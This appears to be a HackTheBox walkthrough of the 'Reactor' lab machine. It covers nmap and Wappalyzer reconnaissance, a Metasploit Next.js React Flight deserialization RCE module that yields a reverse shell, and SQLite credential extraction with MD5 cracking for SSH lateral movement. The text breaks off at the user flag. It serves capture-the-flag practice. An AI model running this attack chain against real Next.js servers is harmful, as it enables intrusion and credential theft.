Post cover image

July 29, 2026

Reactor — HackTheBox Walkthrough

Hello Hakers🙋‍♂️🤍

By 0xmones

2 min read

Overview & Introduction

Reactor is a Linux-based machine from HackTheBox that centers on modern web application security vulnerabilities and insecure architecture patterns within Node.js ecosystems. The attack path exposes an unauthenticated Next.js React Flight deserialization flaw, leading directly to remote code execution. After securing a foothold, we pivot using leaked credentials found inside an embedded SQLite database, culminating in privilege escalation via a misconfigured, root-level Node.js inspector instance.

[Target: React/Next.js App]
       │
       ▼ (React Flight Deserialization RCE)
[Initial Access: node user]
       │
       ▼ (SQLite Credential Extraction)
[Lateral Movement: engineer user via SSH]
       │
       ▼ (Exposed Node Inspector Abuse)
[Privilege Escalation: Root Access]

Phase 1: Reconnaissance & Port Scanning

Initial enumeration begins by locating all active entry points on the target host using nmap:

nmap -sV -sC 10.129.1.31

Discovered Services:

  • Port 22/tcp: Secure Shell (SSH) running on Ubuntu.
  • Port 3000/tcp: Web application interface powered by Next.js.

To ensure seamless interaction with virtual-hosted routing, map the target IP to its designated hostname:

echo "10.129.1.31 reactor.htb" | sudo tee -a /etc/hosts

Phase 2: Web Enumeration & Application Profiling

Accessing the web root at port 3000 presents an industrial monitoring dashboard labeled ReactorWatch Core Monitoring System. The design is minimal, featuring no visible login portals, input boxes, or API endpoints.

+-------------------------------------------------------+
|              ReactorWatch Monitoring                  |
|   [Minimal Industrial Telemetry UI - No Input Fields] |
+-------------------------------------------------------+

To quickly fingerprint the underlying technologies without manual source inspection, we use the Wappalyzer browser extension.

Wappalyzer Fingerprinting Results:

  • Framework: Next.js
  • Server Runtime: Node.js
  • Observation: Wappalyzer successfully detects the specific version of Next.js running the application, exposing it as a candidate vulnerable to recent server-side component/deserialization flaws.

Further structural reconnaissance confirms the application architecture utilizes modern Next.js routing patterns, setting up the path for an automated framework exploit via Metasploit.

Phase 3: Initial Foothold via Metasploit Framework

Rather than utilizing a custom Python script, we can leverage the Metasploit Framework to cleanly deliver the exploit payload based on the Next.js version identified during our Wappalyzer fingerprinting.

1. Launching and Searching for the Exploit Module

Open Metasploit on your attack machine and search for the specific Next.js/React Flight RCE exploit module:

Code snippet

msfconsole
search nextjs CVE

Select and load the appropriate unauthenticated remote code execution module:

Code snippet

use exploit/unix/http/nextjs_rce

(Note: Use the exact path matching the target's specific CVE or module name available in your Metasploit database).

2. Configuring Module Options

Inspect the required configuration parameters:

Code snippet

show options

Set the target web application host, port, and your local attack listener interface:

set RHOSTS Target_ip
set RPORT 3000
set LHOST Your_ip

3. Executing the Exploit

Run the module to transmit the crafted exploit request against the target application:

Code snippet

exploit
+---------------+       Metasploit Payload      +---------------+
| Attacker (MSF)| ─────────────────────────────>|  Next.js App  |
+---------------+                               +---------------+
                                                        │
                                                        ▼ RCE Triggered
                                                +---------------+
                                                | Meterpreter   |
                                                +---------------+

Result: Metasploit successfully establishes a reverse shell or Meterpreter session under the context of the node user.

🔄 Phase 4: Local Enumeration & Lateral Movement

With low-privileged code execution established, inspection of application files reveals a local database asset:

Bash

/opt/reactor-app/reactor.db

Querying the user records inside SQLite exposes stored credentials:

sqlite3 /opt/reactor-app/reactor.db "SELECT * FROM users;"

The data reveals password entries hashed with MD5 format. Cracking the hash associated with the engineer user provides plaintext credentials ready for lateral movement.

Log into the system via SSH:

ssh engineer@10.129.1.31

Retrieve the user flag from the home directory: